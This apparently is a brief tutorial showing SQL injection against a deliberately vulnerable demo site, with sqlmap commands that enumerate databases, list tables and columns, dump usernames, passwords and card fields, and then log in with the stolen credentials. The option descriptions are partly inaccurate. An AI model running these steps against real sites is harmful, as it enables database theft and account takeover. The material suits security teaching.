SQL Injection
SQL Injection
ATTACK
Open any web webapplication, where in URL php id is admin
eg. Open “testphp.vulnweb.com”
Select artists
To test site is vulnerable or not add a “ apostrophe(‘) OR %27 ” in URL
Site is vulnerable, because here I am able to get reply on modified php
queries!!!
Now on kali open sqlmap on kali Linux.
To enumerate databases of website
-> Copy url and enter command:-
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs
Note:- while adding option –D add specific database name, from where you want to fetch all the
tables.
To get columns
enter command:-
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D “acuart"
–T “users” --columns
Note:- while adding option –T add specific user name, from where you want to fetch all the columns.
To dump
To get data from different columns enter command:-
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D "acuart" -T
"users" -C uname,name,pass,email.cc --dump
With the help of dump command we got username and password details.
Note:- while adding option –C add specific column names, to dump the data.
Now open signup page and fill id and password to login